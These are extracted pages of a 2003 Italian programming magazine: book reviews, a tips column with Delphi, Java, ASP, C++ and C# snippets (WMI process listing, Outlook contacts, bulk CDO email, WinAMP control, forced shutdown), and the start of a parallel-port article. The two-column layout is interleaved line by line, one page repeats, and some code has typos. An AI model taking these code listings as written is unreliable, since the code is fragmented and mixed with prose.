Una grande raccolta di te- meccanismi e delle tecniche che portano a sviluppare videogame, dai
sti, articoli, tip e molto al- classici sparatutto ai giochi di ruolo, allo stile adventure. Una pratica guida
tro per il linguaggio rivo- che mostra, con la realizzazione di progetti reali, l'uso delle Microsoft
luzione del Web.
Direct 9 nella nuova piattaforma .NET: Direct3D, DirectSound, DirectMusic
DirectInput , DirectShow e DirectPlay. In aggiunta sono presenti dei
capitoli dedicati che mostrano come interagire con le Speech API di
Microsoft e come migrare il proprio videogame su piattaforma Pocket PC.
Difficoltà: Medio – Alta • Autore: A. Santos Lobao, E. Hatton • Editore: Apress
[Link] • ISBN: 1-59059-051-1 • Anno di pubblicazione: 2003
Lingua: Inglese • Pagine: 654 • Prezzo: $ 49.99 • Contiene 1 Cd-Rom

[Link]

Abstract Visual SQL - Guida Completa 2a edizione


Basic Il testo, giunto alla seconda edizione, offre una panoramica completa sulle
Codici, tutorial, libri, caratteristiche del linguaggio di database che ha fatto la storia: SQL. Mostra
esempi, download ed una come recuperare e aggiornare i dati, programmare con SQL, utilizzare le
marea di articoli dedicati
stored procedure e molto altro ancora. Descrivendo gli standard emergenti e
allo sviluppo di applicazio-
ni Visual Basic le nuove tecnologie relative come XML, Web Service, EJB, J2EE e JDBC,
questo volume aiuterà il lettore a conoscere e utilizzare efficacemente SQL.
Esauriente, organizzata e pratica, questa guida è un testo indispensabile per
lavorare con SQL. Il CD-ROM contiene IBM DB2 e MySQL .
Difficoltà: Medio – Alta • Autore: Herbert Schildt • Editore: MCGraw-Hill
[Link] • ISBN: 88-386-4313-X • Anno di pubblicazione: 2003 •
Lingua: Italiano • Pagine: 1064 • Prezzo: € 58,00 • Contiene 1 Cd-Rom

TCP/IP - Tutto & Oltre


[Link]

Questo testo non può non essere presente tra i testi di giornaliera
Borland su .NET consultazione per chi si accinge a lavorare nell'ambito delle reti o per chi si
Borland ha creato un sito
ritiene già esperto in materia. Il TCP/IP e' semplice da applicare ma al
Web espressamente dedi-
cato alle attuali soluzioni contempo articolato e ricco di funzionalità e questo ne fa il protocollo più
della software house per versatile e usato nell'ambito delle tecnologie di rete. Il volume si rivela un
l'infrastruttura .NET. utile strumento per chi voglia approfondire la conoscenza del protocollo e
Secondo quanto dichiara-
dei suoi impieghi: come funziona il protocollo, le potenzialità, la gestione, le
to dalla società, su get-
[Link] (Get Set for .NET) applicazioni pratiche sono le linee guida su cui si innesta la struttura del
saranno riportate tutte le testo, mentre le configurazioni passo passo e il codice di esempio rinforzano
fasi di lavoro dell'applica- i concetti espressi. Tra gli argomenti esposti:
tion lifecycle: definizione,
design, sviluppo, test e
implementazione. • TCP/IP e Internet
• I componenti della famiglia TCP/IP
• ARP, RARP, DNS, NetBIOS, WINS
• IPv6
• La sicurezza in Rete
• Configurazone di ambienti Linux, Unix e Windows
• Tip per laconfigurazione e la risoluzione di problemi
Difficoltà: Alta • Autore: [Link] - [Link] • Editore: Apogeo [Link]
[Link] ISBN: 88-503-2044-2 • Anno di pubblicazione: 2003 • Lingua: Italiano • Pagine: 862
Prezzo: € 52,00

56 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
057-062 tips 31-05-2003 10:11 Pagina 57

E E E E E E E E E E E E E E T I P S & T R I C K S

Tips&Tricks
La rubrica raccoglie trucchi e piccoli pezzi di codice che solitamente non trovano posto nei manuali, ma sono frutto dell’esperienza di
I trucchi
del mestiere
chi programma. Alcuni trucchi sono proposti dalla Redazione, altri provengono da una ricerca sulla Rete delle Reti, altri ancora ci
giungono dai lettori. Chi vuole contribuire potrà inviarci i suoi tips&tricks preferiti che, una volta scelti, verranno pubblicati nella
rubrica. Il codice completo dei tips lo trovate nel CD allegato nella directory \tips\.

G [Link] G G G G G G G G G la costante "COMPUTER"; con il punto si specifica il PC locale.


L'esempio utilizza WMI, per cui è necessario che sia installato
Barre di menu? sia sul PC locale che su quello remoto. Tip fornito dal sig. [Link]-
Facile con XML rillo

Un tip che permette di costruire la barra dei menu di una Form Procedure TForm1.Button1Click(Sender: TObject);
leggendo le informazioni da un file XML. Il tip si compone es- Const
senzialmente di una classe e di una interfaccia. La classe Menu- QUERY = 'Select * From Win32_Process';
Builder legge il file XML e crea la struttura del menu, mentre l'in- COMPUTER = 'SERVER-AT12K';
terfaccia IActionMenu prevede un metodo Performed che è Var
l'handler dell'evento click di una voce di menu. Il documento Services : SWbemServices;
XML prevede un elemento radice MAINMENU che può avere ObjectSet : ISWbemObjectSet;
uno o più figli MENUITEM che possono a loro volta avere figli Enum : IEnumVariant;
MENUITEM. Per ogni MENUITEM posso specificare l'etichetta tempObj : OleVariant;
(con LABEL) e la classe che deve gestire l'evento click (con AC- SObject : ISWbemObject;
TION). L’esempio che potrete trovare nel Cd-Rom allegato si Value : Cardinal;
compone di tre classi (OpenAction, NewAction, ExitAction) che Begin
implementano l'interfaccia e si limitano a visualizzare una Mes- Services := [Link](COMPUTER, 'root\cimv2', '',
sageBox (è incluso un file XML con la definizione di un menu). '', '', '', 0, nil);
La classe MenuBuilder comunque può essere personalizzata (e lo ObjectSet := [Link](QUERY, 'WQL',
stesso vale per lo schema del file XML) per supportare altre fun- wbemFlagReturnImmediately, nil);
zionalità, come lo stato di abilitazione e la gestione di altri even- Enum := (ObjectSet._NewEnum) As IEnumVariant;
ti. Trovate il progetto completo nella directory /tips del CD-Rom While ([Link](1, TempObj, Value) = S_OK) Do
allegato o digitando l’url: [Link]/ioprog71/tips Begin
Tip fornito dal sig. Boscolo Alberto Gnolo SObject := IUnknown(TempObj) As SWBemObject;
[Link](SObject.GetObjectText_(0))
File troppo “ingombranti” End;
Il tip mostra come eseguire lo Split di un file, cioè la divisione End;
dei dati in esso contenuti, in più file di dimensioni nettamente
inferiori, e l'UnSplit cioè il processo inverso attraverso il quale si Come personalizzare i componenti
ricrea il file originale. Può essere utile splittare un file quando, Delphi senza scriverne di nuovi
ad esempio, questo occupi troppo spazio per poter essere co- Esiste la possibilità di personalizzare i componenti senza do-
piato su un Floppy Disk. verne scriverne di nuovi. Basta definire due nuovi tipi all'inter-
Lo si potrebbe splittare in tanti file di 1457664 byte (1 Floppy no della unit, uno definisce un alias al tipo del componente che
1.44 Mb) copiandoli ognuno su altrettanti dischetti, trasportarli vogliamo personalizzare, l'atro è una classe che si chiama come
su un qualsiasi altro sistema ed, eseguendo l'UnSplit, recupera- il componente ed eredita dall'alias specificato. In questo modo
re il file originale. Trovate il progetto completo nella directory alla nuova classe possiamo aggiungere metodi e proprietà che
/tips del Cd-Rom allegato o digitando l’url: [Link]/io- verranno utilizzati all'interno del codice e saranno disponibili
prog71/tips (non in design mode), per ogni componente di quel tipo.
Tip fornito dal Sig. [Link] Tip fornito dal sig. [Link]

type
G D e l p h i G G G G G G G G G G G G G G G TMyEdit = TEdit;
TEdit = class(TMyEdit)
Controllare i processi private
di un PC remoto function lfFloat : real;
procedure lpFloat(lrValue : real);
Un tip che consente di ottenere la lista dettagliata dei processi public
attivi su un PC remoto. Il nome del computer è specificato dal- property AsFloat : real read lfFloat write lpFloat;

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 57
057-062 tips 31-05-2003 10:12 Pagina 58

T I P S & T R I C K S G G G G G G G G G G G G G G

end; da un archivio ZIP. Vi allego una piccola applicazione realizza-


TForm1 = class(TForm) ta con interfaccia grafica awt che presenta una possibile imple-
btnSqrt: TButton; mentazione di questa classe.
edtValue: TEdit; Tip fornito dal Sig. [Link]
procedure btnSqrtClick(Sender: TObject);
end; Ecco la classe principale:
var
Form1: TForm1; //Classe unzipFile
implementation class unzipFile {
function [Link] : real; FileInputStream sorgStream=null;
begin FileOutputStream destStream=null;
try BufferedInputStream sorgStreamBuff=null;
Result := StrToFloat(Text); BufferedOutputStream destStreamBuff=null;
except ZipInputStream zipIn=null;
Result := 0; ZipEntry zipEntry=null;
end; byte[] data=new byte[2048];
end; String destCompleta=null;
procedure [Link](lrValue : real); //sorg deve essere un percorso del tipo c:\[Link]; dest deve
begin essere un percorso di tipo c:\unzip\
Text := FloatToStr(lrValue); public void unzipFromTo(String sorg, String dest) {
end; try {
{$R *.dfm} sorgStream=new FileInputStream(sorg);
procedure [Link](Sender: TObject); sorgStreamBuff=new BufferedInputStream(sorgStream);
begin } catch (IOException e) {
[Link] := Sqrt([Link]); [Link]("Errore durante l'apertura degli stream");}
end; zipIn=new ZipInputStream(sorgStreamBuff);
try {
Limitare il movimento del mouse while((zipEntry=[Link]())!=null) {
Un semplice ma efficace "trucco" in Delphi che permette di con- destCompleta=dest + [Link]();
finare il mouse entro un'area rettangolare dello schermo defini- destStream=new FileOutputStream(destCompleta);
ta dall’utente. destStreamBuff=new BufferedOutputStream(destStream);
Tip fornito dal Sig. [Link] int count;
while((count=[Link](data,0,2048))!=-1) {
procedure Limita_Mouse(Sx,Alto,Dx,Basso:Integer); [Link](data,0,count); }
/* Questi valori rappresentano i punti in alto a sinistra e in basso a [Link]();
destra del rettangolo entro cui si va a confinare il mouse */ [Link]();
var [Link]();}
Area: TRect; } catch(IOException e) {
begin [Link]("Errore estrazione file.");}
[Link]:=Sx; try {
[Link]:=Alto; [Link]();
[Link]:= Dx; [Link]();
[Link]:= Basso; } catch(IOException e) {
ClipCursor(@Area); [Link]("Errore chiusura"); }
end; }
}
Per far tornare il mouse al suo stato "normale":
Eseguire un comando di sistema in Java
ClipCursor(nil); Come eseguire un comando, in java, che abbia un argomento
con all'interno uno spazio.
Esempio:
G J a v a S c r i p t G G G G G G G G G G

windows - type "nome [Link]"


Linux - cat 'nome [Link]'
Estrarre da un file ZIP
Sia le virgolette, sia gli apicetti che il carattere speciale \ prima
Dopo aver visto il il tip proposto nel mese di maggio, che mo- dello spazio, non funzionano con [Link](), poichè quest'u-
strava come creare file zip compressi, ho programmato questa tilma fa uso della StringTokenizer per leggere la stringa di co-
classe, che permette di estrarre una serie di file (non solo uno) mando.

58 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
057-062 tips 31-05-2003 10:12 Pagina 59

E E E E E E E E E E E E E E T I P S & T R I C K S

La risposta a questo quesito è quello di utilizzare "un'altra" Run- chiamata allo script in cascata suddividendo la parola chiave
[Link]; quella che prende come parametro un vettore di strin- stessa come mostrato nel tip.
ghe. Ad essa bisogna passare la linea di comando già suddivisa Tip fornito dal Sig. [Link]
in token.
Tip fornito dal sig. Addisu Matusala <script language="javascript">
[Link]("<sc"+"ript LANGUAGE=\"JavaScript\"
String [] comando={"cat","nome [Link]"}; SRC=\"...\"></sc"+"ript>");
[Link]().Exec(comado); </script>

Script in cascata Un approfondimento del Tip “Pass-by-


Se si vuole inserire in una pagina HTML uno Javascript che, per Value e Pass-By-Reference”
mezzo della funzione "[Link]", generi un nuovo docu- Un tip per evitare comportamenti non desiderati nelle proprie
mento HTML che richiami dei nuovi script in cascata, ci si im- applicazioni, gestendo in modo ottimale il “Pass-by-Value e
batte nel problema che il browser, interpretando tali istanze, an- Pass-By-Reference”; in particolare il passaggio dei dati “By Re-
nulla l’operazione. Per ovviare a questo si deve scomporre la ference” non funziona come tale nelle applicazioni che utilizza-

i: Integer;
IL TIP-ONE del mese begin
outlook := CreateOleObject('[Link]');
Reperire la lista dei contatti NameSpace := [Link]('MAPI');
di MS OutLook
Il tip, in linguaggio Delphi, consente di reperire la Contatti := [Link](Cartella_Contatti);
lista di tutti i contatti presenti nella medesima cartella del for i := 1 to [Link] do
client di posta elettronica Microsoft Outlook. Per ogni con- begin
tatto è possibile reperire diverse informazioni, dalla data Contatto := [Link](i);
di nascita, al NickName, alla professione esercitata. ShowMessage([Link] + ' <' +
Tip fornito dal Sig. [Link]. Contatto.Email1Address + '>');
end;
Uses comOBJ;
Outlook := UnAssigned;
procedure Contatti_OutLook; end;
const
Cartella_Contatti = $0000000A; Per reperire una particolare voce del contatto invocare una
var delle proprietà definite in tabella, utilizzando la forma
outlook, NameSpace, Contatti, Contatto: OleVariant; [Link]à.

Birthday ComputerNetworkName GovernmentIDNumber Language


Business2TelephoneNumber Department Hobby LastName
BusinessAddress Email1Address Home2TelephoneNumber LastNameAndFirstName
BusinessAddressCity Email1AddressType HomeAddress MailingAddress
BusinessAddressCountry Email1DisplayName HomeAddressCity MailingAddressCity
BusinessAddressPostalCode Email2Address HomeAddressCountry MailingAddressCountry
BusinessAddressPostOfficeBox Email2AddressType HomeAddressPostalCode MailingAddressPostalCode
BusinessAddressState Email2DisplayName HomeAddressPostOfficeBox MailingAddressPostOfficeBox
BusinessAddressStreet Email3Address HomeAddressState MailingAddressState
BusinessFaxNumber Email3AddressType HomeAddressStree MailingAddressStreet
BusinessHomePage Email3DisplayName HomeFaxNumber MiddleName
BusinessTelephoneNumber FirstName HomeTelephoneNumber NickName
CompanyAndFullName FTPSite Initials OfficeLocation
CompanyMainTelephoneNumber FullName ISDNNumber OrganizationalIDNumber
CompanyName FullNameAndCompany JobTitle PersonalHomePage
PrimaryTelephoneNumber Suffix Title WebPage
Profession

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 59
057-062 tips 31-05-2003 10:12 Pagina 59

E E E E E E E E E E E E E E T I P S & T R I C K S

La risposta a questo quesito è quello di utilizzare "un'altra" Run- chiamata allo script in cascata suddividendo la parola chiave
[Link]; quella che prende come parametro un vettore di strin- stessa come mostrato nel tip.
ghe. Ad essa bisogna passare la linea di comando già suddivisa Tip fornito dal Sig. [Link]
in token.
Tip fornito dal sig. Addisu Matusala <script language="javascript">
[Link]("<sc"+"ript LANGUAGE=\"JavaScript\"
String [] comando={"cat","nome [Link]"}; SRC=\"...\"></sc"+"ript>");
[Link]().Exec(comado); </script>

Script in cascata Un approfondimento del Tip “Pass-by-


Se si vuole inserire in una pagina HTML uno Javascript che, per Value e Pass-By-Reference”
mezzo della funzione "[Link]", generi un nuovo docu- Un tip per evitare comportamenti non desiderati nelle proprie
mento HTML che richiami dei nuovi script in cascata, ci si im- applicazioni, gestendo in modo ottimale il “Pass-by-Value e
batte nel problema che il browser, interpretando tali istanze, an- Pass-By-Reference”; in particolare il passaggio dei dati “By Re-
nulla l’operazione. Per ovviare a questo si deve scomporre la ference” non funziona come tale nelle applicazioni che utilizza-

i: Integer;
IL TIP-ONE del mese begin
outlook := CreateOleObject('[Link]');
Reperire la lista dei contatti NameSpace := [Link]('MAPI');
di MS OutLook
Il tip, in linguaggio Delphi, consente di reperire la Contatti := [Link](Cartella_Contatti);
lista di tutti i contatti presenti nella medesima cartella del for i := 1 to [Link] do
client di posta elettronica Microsoft Outlook. Per ogni con- begin
tatto è possibile reperire diverse informazioni, dalla data Contatto := [Link](i);
di nascita, al NickName, alla professione esercitata. ShowMessage([Link] + ' <' +
Tip fornito dal Sig. [Link]. Contatto.Email1Address + '>');
end;
Uses comOBJ;
Outlook := UnAssigned;
procedure Contatti_OutLook; end;
const
Cartella_Contatti = $0000000A; Per reperire una particolare voce del contatto invocare una
var delle proprietà definite in tabella, utilizzando la forma
outlook, NameSpace, Contatti, Contatto: OleVariant; [Link]à.

Birthday ComputerNetworkName GovernmentIDNumber Language


Business2TelephoneNumber Department Hobby LastName
BusinessAddress Email1Address Home2TelephoneNumber LastNameAndFirstName
BusinessAddressCity Email1AddressType HomeAddress MailingAddress
BusinessAddressCountry Email1DisplayName HomeAddressCity MailingAddressCity
BusinessAddressPostalCode Email2Address HomeAddressCountry MailingAddressCountry
BusinessAddressPostOfficeBox Email2AddressType HomeAddressPostalCode MailingAddressPostalCode
BusinessAddressState Email2DisplayName HomeAddressPostOfficeBox MailingAddressPostOfficeBox
BusinessAddressStreet Email3Address HomeAddressState MailingAddressState
BusinessFaxNumber Email3AddressType HomeAddressStree MailingAddressStreet
BusinessHomePage Email3DisplayName HomeFaxNumber MiddleName
BusinessTelephoneNumber FirstName HomeTelephoneNumber NickName
CompanyAndFullName FTPSite Initials OfficeLocation
CompanyMainTelephoneNumber FullName ISDNNumber OrganizationalIDNumber
CompanyName FullNameAndCompany JobTitle PersonalHomePage
PrimaryTelephoneNumber Suffix Title WebPage
Profession

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 59
057-062 tips 31-05-2003 10:12 Pagina 60

T I P S & T R I C K S G G G G G G G G G G G G G G

no RMI; per meglio comprendere il problema si consideri un stra applicazione fosse stata del tipo:
metodo di un’interfaccia come il seguente “cambiaAttributo
(MioOggetto mioOggetto). …
Tip fornito dal Sig. [Link] public void cambiaAttributo(MioOggetto mioOggetto)
{ [Link](“Pippo”); }
import [Link].*; …
public interface Libreria extends Remote
{ al termine dell’esecuzione del programma Cliente l’istruzione
public void cambiaAttributo(MioOggetto mioOggetto) throws System evidenziata avrebbe stampato:
RemoteException;
…… Nome : Marco
}
…… // fine classe Per ovviare quindi a questo tipo di problemi, una soluzione è
import [Link]; far si che il metodo dell’interfaccia dell’oggetto remoto che si in-
public class MioOggetto implements Serializable tende utilizzare restituisca un’istanza dell’oggetto che si inten-
{ deva passare per riferimento (e di cui quindi si voleva modifi-
public String nome; care il valore):
public MioOggetto(String nome)
{[Link] = nome; } public interface Libreria extends Remote
public void setNome(String nome) {
{ [Link] = nome; } public MioOggetto cambiaAttributo(MioOggetto mioOggetto)
public String getNome() throws RemoteException;
{return [Link]; } ……
} }
…… // fine classe
Ecco anche come modificare il programma Cliente:
Se una classe Cliente come la seguente:
import [Link].*;
import [Link].*; public class Cliente
public class Cliente {
{ public static void main(String args[])
public static void main(String args[]) {
{ ......
...... try
try {
{ MioOggetto mioOggetto = new MioOggetto(“Marco”);
MioOggetto mioOggetto = new MioOggetto(“Marco”); Libreria libreria = (Libreria) [Link](
Libreria libreria = (Libreria) "rmi://[Link]:1099/istanzalibreria”);
[Link]("rmi://[Link]:1099/istanzalibreria”); mioOggetto = [Link](mioOggetto);
// Si suppone un oggetto servente abbia memorizzato nel [Link](“Nome : “ + [Link]());
RMIRegistry un istanza di Libreria con il nome indicato. } // end try
[Link](mioOggetto); catch(Exception e)
[Link](“Nome : “ + [Link]()); {
} // end try }
catch(Exception e) }
{} }
}
} Ed ecco infine come è modificata l’implementazione del meto-
do “cambiaAttributo(MioOggetto)”:
intende utilizzare una classe che implementa l’interfaccia “Li-
breria” e il relativo metodo “cambiaAttributo (MioOggetto mio- …
Oggetto)” desiderando che vengano apportate delle modifiche public MioOggetto cambiaAttributo(MioOggetto mioOggetto)
all’istanza dell’oggetto di tipo MioOggetto passato al metodo, {
occorre sapere che la comunicazione tramite RMI fa si che l’og- [Link](“Pippo”);
getto servente effettui una copia in locale dell’oggetto ricevuto return mioOggetto;
come parametro del metodo e, che ogni modifica effettuata su }
quell’oggetto, ha effetto esclusivamente su quella copia e non …
sull’istanza di mioOggetto nella classe Cliente. Nel caso in esem-
pio se l’implementazione di cambiaAttributo utilizzata dalla no- L’esecuzione del programma Cliente modificato stamperà il se-

60 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
057-062 tips 31-05-2003 10:13 Pagina 61

E E E E E E E E E E E E E E T I P S & T R I C K S

guente messaggio come volevasi dimostrare: /configuration/smtpauthenticate"


cdoAnonymous = 0
Nome : Pippo cdoSuppressNone = 0
' invio una mail di prova
Dim oConf , oMail , oFlds , oAtt
G A S P G G G G G G G G G G G G G G G G G G Set oMail = CreateObject("[Link]")
Set oConf = CreateObject("[Link]")
Come validare un indirizzo Set oFlds = [Link]
e-mail con le Regular oFlds(cdoSendUsingMethod) = cdoSendUsingPort
Expression oFlds(cdoSMTPServer) = "mioServerSmtp"
Un tip utile al riconoscimento della corretta sintassi di un indi- oFlds(cdoSMTPServerPort) = 25
rizzo e-mail. Il tutto si basa su di una funzione legata all'uso del- oFlds(cdoSMTPAuthenticate) = cdoAnonymous
le "Regular Expression" (molto familiari ai masticatori del C, del [Link]
Perl, ecc.) che riducono lo script a poche righe di codice. Tip for- Set [Link] = oConf
nito dal Sig. [Link] [Link] = "MioMailer <io@[Link]>"
[Link] = "Prova CDO"
<% [Link] "[Link] cdoSuppressNone
Function IsMail(sEmail) [Link] = "Indirizzo1@[Link]"
Dim objRegExp [Link]
Set objRegExp = New RegExp [Link] = "Indirizzo2@[Link]"
[Link] = "^[a-z._-]+\@[a-z._-]+\.[a-z]{2,4}$" [Link]
[Link] = True ' etc etc etc
IsMail = [Link](sEmail) set oConf = Nothing
End Function set oflds = Nothing
Dim strEmail set oMail = Nothing
strEmail = "webmaster@[Link]"
If IsMail(strEmail) Then
[Link] strEmail & " è un indirizzo email sintatticamente corretto" G C + + / C # G G G G G G G G G G G G G G

Else
[Link] strEmail & " NON è un indirizzo email sintatticamente corretto"
Come personalizzare WinAMP
End If
%>
Un tip di fondamentale importanza per tutte quelle persone che
Email a Go Go voglioni realizzare 'in casa' alcune versioni modificate del
Il tip proposto consente di spedire molto velocemente email; la player mp3 più noto di tutti i tempi, oppure per chiunque in-
parte di codice allegata funziona sia rinominato in .vbs che in tenda aggiungere un supporto esteso di playing mp3 nelle sue
moduli di access, macro di excel, pagine ASP. Perchè l'esempio realizzazioni.
funzioni, occorre modificare l'indirizzo del server web e gli in- Tip fornito dal sig. [Link]
dirizzi di destinazione. Nell'esempio, viene spedita via mail una
pagina web, comprensiva di immagini, hyperlink ecc. E' molto La prima cosa da fare è identificare la finestra di winamp (esten-
veloce, consente di cambiare destinatario e spedire la stessa dendo la soluzione si potrebbe anche utilizzare una API di win-
mail senza riconfigurare nulla. Il tip funziona in qualsiasi am- dows per lanciare winamp dallo stesso programma ); l'identifi-
biente di scripting microsoft (vbs, asp, vba, vb). Ideale per mai- cazione avviene semplicemente nel seguente modo:
ling list. Con un server smtp locale, con un PIII a 800 mhz si pos-
sono passare le 10 mail al secondo. HWND winamp;
Tip fornito dal sig. [Link] winamp = FindWindow("Winamp v1.x",NULL);

'Definizioni per CDO a questo punto i comandi eseguibili sono tantissimi, di seguito
dim cdoSendUsingMethod, cdoSendUsingPort,cdoSMTPServer, sono elencati solo i più utili; i comandi vengono inviati a wi-
cdoSMTPServerPort,cdoSMTPAuthenticate,cdoAnonymous, namp tramite l'API SendMessage:
cdoSuppressNone
cdoSendUsingMethod = "[Link] SendMessage(winamp, WM_COMMAND,40045,0);
/configuration/sendusing"
cdoSendUsingPort = 2 Simula la pressione del tasto "play" di winamp, eseguendo il
cdoSMTPServer = "[Link] primo brano della playlist:
/configuration/smtpserver"
cdoSMTPServerPort = "[Link] SendMessage(winamp,WM_WA_IPC,playlistpos,121);
/configuration/smtpserverport" Winamp esegue il brano alla posizione specificata dalla
cdoSMTPAuthenticate = "[Link] variabile 'playlistpos'

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 61
057-062 tips 31-05-2003 10:13 Pagina 62

T I P S & T R I C K S G G G G G G G G G G G G G G

Ed ecco un utilissimo comando che permette di aggiungere un //"EWX_SHUTDOWN" termina i processi e mette il computer in
file alla playlist di winamp: attesa di power off
}
COPYDATASTRUCT cds; void __fastcall TForm1::ShutDown(TObject *Sender)
[Link] = 100; {
[Link] = (void *) "file.mp3"; HANDLE hToken;
[Link] = strlen((char *) [Link])+1; // include space for null char TOKEN_PRIVILEGES tkp;
SendMessage(winamp,WM_COPYDATA,(WPARAM)NULL,(LPARAM)&cds) if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
Esistono tantissimi altri comandi per richamare praticamente error("OpenProcessToken");
tutte le funzionalià di winamp, utilissimo a questo fine è il file LookupPrivilegeValue(NULL,
frontend.h che si trova direttamente sul sito di winamp e che è al- SE_SHUTDOWN_NAME,&[Link][0].Luid);
legato al supporto CD-Rom della rivista [Link] = 1;
[Link][0].Attributes = SE_PRIVILEGE_ENABLED;
La serializzazione XML con C# AdjustTokenPrivileges(hToken, FALSE, &tkp,
.NET mette a disposizione due metodi, Serialize e Deserialize, che 0,(PTOKEN_PRIVILEGES)NULL, 0);
permettono di leggere e scrivere XML in modo trasparente. Gra- if (GetLastError() != ERROR_SUCCESS)
zie, infatti, alla programmazione per attributi, è possibile iden- error("AdjustTokenPrivileges");
tificare ciascun membro di una classe, con un elemento dello if (!ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0))
schema XML. error(ExitWindowsEx); //o un'altra procedura di gestione errori
All'atto della serializzazione della classe, genererà un file XML //"EWX_LOGOFF" termina i processi e fa il Logoff
che segue lo schema pre-definito con i valori dei vari attributi, //"EWX_POWEROFF" termina i processi e spegne il computer
pari ai valori delle variabili membro delle classi. La lettura di un //"EWX_REBOOT" riavvia
file XML avviene con il metodo Deserialize che non fa altro che //"EWX_SHUTDOWN" termina i processi e mette il computer in
assegnare ad ogni variabile membro della classe, il valore corri- attesa di power off
spondente del tag xml. Trovate il progetto completo nella direc- }
tory /tips del CD-Rom allegato o digitando l’url: [Link]-
[Link]/ioprog71/tips
Tip fornito dal Sig. [Link]

Shutdown di Windows...e non solo


Con questa procedura è possibile avere accesso alla libreria
[Link] per poter agire sull'uscita di Windows. E' possibile set-
tare la procedura per: terminare bruscamente il sistema, riavvia-
re, spegnere il computer, fare lo shutdown di sistema o sempli-
cemente il logoff.
Tip fornito dal Sig. [Link]
IL TIP
che ti premia
// E' necessario includere tra gli header winuser.h
void __fastcall TForm1::ShutDown(TObject *Sender)
{
Questo mese
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
in palio un FREECOM
DVD RW
if (!OpenProcessToken(GetCurrentProcess(), RECORDER
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
FANTASTICO
error("OpenProcessToken");
LookupPrivilegeValue(NULL,
MASTERIZZATORE
SE_SHUTDOWN_NAME,&[Link][0].Luid);
[Link] = 1;
DVD FREECOM
[Link][0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, Inviaci la tua soluzione ad un problema di
(PTOKEN_PRIVILEGES)NULL, 0);
programmazione, una faq, un tip…
if (GetLastError() != ERROR_SUCCESS)
error("AdjustTokenPrivileges");
Tra tutti quelli giunti mensilmente in redazione,
if (!ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0)) saranno pubblicati i più meritevoli e, fra questi,
error(ExitWindowsEx); //o un'altra procedura di gestione errori scelto il “TipOne” del mese,
//"EWX_LOGOFF" termina i processi e fa il Logoff
PREMIATO CON UN FANTASTICO OMAGGIO!
//"EWX_POWEROFF" termina i processi e spegne il computer
//"EWX_REBOOT" riavvia
Invia i tuoi lavori a ioprogrammo@[Link]

62 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
063-066 Elettronica 5-06-2003 16:27 Pagina 63

E E E E E E E E E E E E E E E E E E E E E E l e t t r o n i c a

✓ Porta parallela e infrarossi


❏ (parte prima)

Un telecomando
per pilotare il PC Elettronica

In questa prima parte l’ingresso/uscita da un luogo verso l’esterno e vi-


dell’articolo vedremo come ceversa. In effetti il concetto è proprio questo, su
iniziare a lavorare con la porta qualsiasi PC sono installate delle porte che per- File sul Web
mettono l’interfacciamento di dispositivi detti pe- [Link]/ioprog71/
parallela. [Link]
riferiche, basta pensare ai modem o alle stampan-
ti che si collegano rispettivamente alla porta “se-

B
asta guardarsi intorno per accorgersi di riale” e “parallela” o ai gamepad che si collegano
quanto la tecnologia condizioni la nostra vi- alla porta joystick.
ta, siamo circondati di ogni genere di appa- La tendenza dell’industria informatica e tecnolo-
recchiatura elettronica dalle più disparate funzio- gica in genere è, tuttavia, quella di unificare l’in-
ni. Esattamente come avviene per i PC, le appa- terfacciamento dei dispositivi attraverso un’unica
recchiature elettroniche più evolute contengono porta “universale” dalle caratteristiche standar-
microprocessori, memorie, comandi e/o sensori e dizzate, a tal proposito da qualche anno si adotta
necessitano di un programma che permette loro di il collegamento tramite porta USB, che significa
funzionare. Si tratta di programmi non troppo lon- proprio Universal Serial Bus. Ecco così che stam-
tani da quelli che siamo abituati a pensare sui no- panti, modem, joystick, web cam, mouse, tastiere
stri computer, che lavorano direttamente con com- ed ogni sorta di dispositivo da interfacciare al PC
ponenti elettronici senza usufruire di tutte le age- fa la sua comparsa in versione USB.
volazioni e virtualizzazzioni che i sistemi operati-
vi offrono. Proprio per la presenza di tutte le ca-
ratteristiche descritte prima e delle porte di in- SCOPRIAMO LA PORTA Non solo
put/output un computer è, per eccellenza, un PARALLELA stampanti
Un tempo non era
“macrocontrollore” ideale per pilotare qualunque Sin dai primi modelli era presente su ogni PC una raro trovare una
dispositivo elettronico e, in più, offre la possibilità porta parallela, originariamente pensata per il col- porta parallela montata
di scrivere un programma pilota in un qualsiasi legamento con una stampante (è, infatti, detta an- sulle schede grafiche;
ad esempio su antichis-
linguaggio di alto livello, pur vincolando il dispo- che porta LPT, da “Line Printer”), fornisce una fa-
sime schede monocro-
sitivo al computer stesso. cile e funzionale interfaccia tra il PC e il mondo matiche, come la MDA
In questo articolo ci occuperemo in dettaglio della esterno e viceversa. Per questo motivo, con l’ag- (Monocrome Display
porta parallela focalizzando l’attenzione sul suo giunta di una semplice interfaccia circuitale può Adapter) o la più famo-
sa HGC (Hercules Gra-
utilizzo “manuale”, ovvero la scrittura/lettura di- essere utilizzata per controllare qualunque perife-
phics Card).
retta sui suoi registri. Una volta acquisita la pa- rica: sensori per misurazioni di grandezze fisiche, Alle porte di questo tipo
dronanza nel controllo di questa porta ci dediche- controllori per parti meccaniche, allarmi, luci psi- è associato l’indirizzo
remo alla discussione delle problematiche di inter- chedeliche, etc.. 03BCh, indirizzo che
oggi non è praticamen-
facciamento di una semplice periferica in grado di La porta parallela si presenta all’esterno con un te più utilizzato.
